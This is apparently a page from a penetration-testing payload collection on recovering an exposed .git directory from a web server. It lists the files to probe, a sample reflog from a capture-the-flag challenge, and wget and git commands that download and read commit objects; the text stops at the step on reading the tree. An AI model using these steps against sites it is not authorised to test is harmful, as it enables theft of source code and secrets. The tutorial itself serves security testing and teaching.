Skip to content

Latest commit

 

History

History

Insecure Source Code Management

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Insecure Source Code Management

Git

The following examples will create either a copy of the .git or a copy of the current commit.

Check for the following files, if they exist you can extract the .git folder.

  • .git/config
  • .git/HEAD
  • .git/logs/HEAD

Example

Recovering file contents from .git/logs/HEAD

  1. Check for 403 Forbidden or directory listing to find the /.git/ directory
  2. Git saves all information in .git/logs/HEAD (try lowercase head too)
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
  1. Access the commit using the hash
# create an empty .git repository
git init test
cd test/.git

# download the file
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c

# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
    tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    parent 15ca375e54f056a576905b41a417b413c57df6eb
    author Michael <michael@easyctf.com> 1489390329 +0000
    committer Michael <michael@easyctf.com> 1489390329 +0000
    Initial.
  1. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39